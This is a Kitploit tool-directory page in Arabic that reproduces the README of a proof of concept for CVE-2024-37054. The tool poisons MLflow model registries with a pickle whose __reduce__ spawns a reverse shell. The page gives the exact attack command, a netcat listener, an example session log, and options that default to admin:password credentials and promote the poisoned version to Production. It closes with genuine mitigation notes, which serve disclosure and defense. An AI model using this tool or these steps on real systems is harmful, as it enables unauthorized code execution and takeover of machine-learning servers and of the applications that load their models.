Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-37054 — إثبات مفهوم يقوم بتسميم النماذج المسجلة في MLflow عبر REST API، حيث يضمّن pickle خبيثًا لتفعيل تنفيذ التعليمات البرمجية عن بُعد (RCE) عند تحميل النموذج. | Kitploit
أدوات/GitHubGitHub/bardlaudian/cve-2024-37054
أدوات دفاعيةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقتعلم الآلةالفريق الأحمرتطوير الحمولاتأمن الذكاء الاصطناعي
GitHubbardlaudian/cve-2024-37054

CVE-2024-37054

إثبات مفهوم يقوم بتسميم النماذج المسجلة في MLflow عبر REST API، حيث يضمّن pickle خبيثًا لتفعيل تنفيذ التعليمات البرمجية عن بُعد (RCE) عند تحميل النموذج.

1منذ يوم واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
عرض المستودع
مشاركة

mlflow-pickle-rce

إثبات مفهوم عام لاستغلال RCE عبر إلغاء تسلسل pickle ضد سجلات نماذج MLflow (على غرار CVE-2024-37054). يتحدث فقط إلى واجهة MLflow REST API — دون أي افتراضات حول أي تطبيق عميل محدد أمامه.

⚠️ لاختبارات الأمان المصرح بها فقط. لا تشغّل هذا إلا ضد أنظمة تملكها أو مصرّح لك صراحةً باختبارها (بيئات CTF/المختبر، المهام ذات النطاق الموقّع، إلخ). الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني في معظم الولايات القضائية.

الثغرة

يقوم flavor ‏pyfunc في MLflow بتحميل نموذج مسجّل عبر إلغاء تسلسل (unpickling) لـ model.pkl artifact كلما تم استدعاء mlflow.pyfunc.load_model() — سواء أكان ذلك مُفعَّلاً مباشرة عبر واجهة/API الخاصة بـ MLflow، أو بشكل غير مباشر بواسطة تطبيق عميل يشغّل الاستدلال ضد نموذج مسجّل.

يمكن لوحدة pickle في Python تنفيذ كود عشوائي أثناء إلغاء التسلسل عبر طريقة __reduce__ الخاصة بالكائن. إذا كان لدى المهاجم وصول كافٍ إلى MLflow API من أجل:

  1. إنشاء run لتجربة،
  2. رفع artifacts إلى ذلك الـ run، و
  3. تسجيل إصدار نموذج يشير إلى تلك الـ artifacts،

...فيمكنه تهريب pickle خبيث باسم model.pkl. في المرة التالية التي يحمّل فيها أي شيء ذلك الإصدار من النموذج، يُنفَّذ كود المهاجم في سياق العملية التي تقوم بالتحميل (خادم MLflow نفسه، أو تطبيق عميل يضمّن MLflow).

هذا هو نفس البدائية الأساسية وراء عدة ثغرات MLflow، بما في ذلك CVE-2023-6015 وCVE-2023-6018 وCVE-2024-37054. وهو خطير بشكل خاص لأن نسخ MLflow غالباً ما تُنشر بدون مصادقة، أو ببيانات اعتماد افتراضية معروفة (admin:password).

ما الذي يفعله هذا السكربت

مدفوع بالكامل عبر API، وبالترتيب:

  1. يتحقق من الوصول إلى API (HTTP basic auth).
  2. ينشئ نموذجاً مسجّلاً (أو يعيد استخدام نموذج لديك وصول إليه بالفعل عبر --model-name).
  3. ينشئ run تحت تجربة معيّنة.
  4. يبني ويرفع:
    • model.pkl — pickle تستدعي __reduce__ الخاصة به os.system() لـ إ spawning reverse shell.
    • MLmodel — المانيفست الذي يعلن عن flavor ‏python_function / sklearn مدعوم بذلك الـ pickle.
  5. يسجّل إصدار نموذج جديد يشير إلى تلك الـ artifacts.
  6. اختيارياً ينقل ذلك الإصدار إلى مرحلة معيّنة (الافتراضي: Production)، لأن العديد من تطبيقات العملاء لا تحمّل سوى الإصدار الموجود في مرحلة Production من النموذج.

ما الذي لا يفعله هذا السكربت

لا يكتشف أو يُفعّل تحميل النموذج الفعلي — هذا الجزء مختلف لكل عملية نشر:

  • أحياناً تحمّل واجهة/API الخاصة بـ MLflow النموذج مباشرة.
  • أحياناً يستدعي تطبيق عميل منفصل mlflow.pyfunc.load_model() خلف نقطة نهاية ما (مسار /predict، مهمة دفعية مجدولة، إلخ).

تحتاج إلى:

  • الحصول على --model-name الهدف بنفسك — من واجهة MLflow، أو MLflow API ‏(/api/2.0/mlflow/registered-models/search)، أو أي شيء يعيده تطبيق عميل عندما يسجّل نموذجاً نيابةً عنك.
  • تفعيل التحميل بنفسك، بأي طريقة يستخدمها الهدف.

المتطلبات

root@kitploit:~
pip install requests --break-system-packages

Python 3.8+. لا تبعيات أخرى.

الاستخدام

root@kitploit:~
python3 mlflow_pickle_rce.py \
    --mlflow http://mlflow.target.tld \
    --model-name my-target-model \
    --lhost 10.10.14.1 --lport 4444

ابدأ مستمعاً قبل التشغيل أو بعده:

root@kitploit:~
nc -lvnp 4444

ثم فعّل التحميل بأي طريقة يستخدمها تطبيق الهدف (نقطة نهاية الاستدلال الخاصة به، مهمة دفعية، تحميل النموذج يدوياً من واجهة MLflow، إلخ).

جميع الخيارات

جلسة مثال

root@kitploit:~
$ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
    --model-name my-target-model --lhost 10.10.14.1 --lport 4444
[*] Verifying MLflow access at http://mlflow.target.tld ...
[+] MLflow API reachable (200)
[*] Ensuring registered model 'my-target-model' exists ...
[+] Model 'my-target-model' already exists, reusing it
[*] Creating run under experiment 0 ...
[+] Run ID: 3f9b1c2a...
[*] Uploading MLmodel ...
[+] MLmodel upload: 200
[*] Uploading model.pkl ...
[+] model.pkl upload: 200
[*] Registering malicious model version for 'my-target-model' ...
[+] Model version: 200 - {...}
[*] Transitioning version 2 to stage 'Production' ...
[+] Stage transition: 200

[+] Malicious model version is registered.
[+] Model name: my-target-model
[+] Listener: nc -lvnp 4444
[+] Now trigger whatever loads this model version in the target app
    (e.g. its /predict endpoint, or wait for a scheduled job that
     calls mlflow.pyfunc.load_model() on it).

الكشف والتخفيف (ملاحظات دفاعية)

  • لا تعرّض خادم التتبع/النماذج الخاص بـ MLflow أبداً بدون مصادقة، ولا تترك بيانات الاعتماد الافتراضية (admin:password) في مكانها أبداً.
  • قيّد من يمكنه تسجيل إصدارات النماذج. تسجيل إصدار نموذج يعادل تنفيذ كود عشوائي على أي شيء يحمّله لاحقاً — عامل هذا الإذن كما تعامل وصول النشر (deploy access).
  • لا تُلغِ تسلسل artifacts غير موثوقة. حيثما أمكن، استخدم flavors/تنسيقات تسلسل في MLflow لا تعتمد على pickle (مثل ONNX، أو flavors ذات تسلسل أكثر أماناً)، أو تحقق من تحميل النموذج/اعزله في sandbox.
  • راقب الاستدعاءات غير المتوقعة لـ registered-models/create، وmodel-versions/create، وtransition-stage في سجلات التدقيق/الوصول الخاصة بـ MLflow، خاصةً من حسابات لا ينبغي أن تنشر نماذج إلى Production.
  • افصل شبكياً العملية التي تحمّل النماذج (خادم MLflow و/أو أي تطبيق عميل يستدعي load_model()) بحيث لا يكون لبدائية تنفيذ الكود هناك مسار مباشر إلى أنظمة داخلية حساسة.

المراجع

  • CVE-2024-37054 / CVE-2023-6015 / CVE-2023-6018 — مشكلات إلغاء تسلسل pickle في MLflow (ابحث في NVD/MITRE عن التنبيهات الحالية ونطاقات الإصدارات المتأثرة).
  • MLflow REST API docs

الترخيص

MIT — انظر LICENSE.

تنزيل الأداة
FlagDefaultDescription
--mlflow(required)MLflow base URL
--model-namerandomRegistered model name to poison; created if it doesn't exist
--lhost(required)Your listener IP
--lport4444Your listener port
--usernameadminMLflow basic auth username
--passwordpasswordMLflow basic auth password
--experiment-id0Experiment ID to create the run under
--stageProductionStage to promote the malicious version to, or none to skip the transition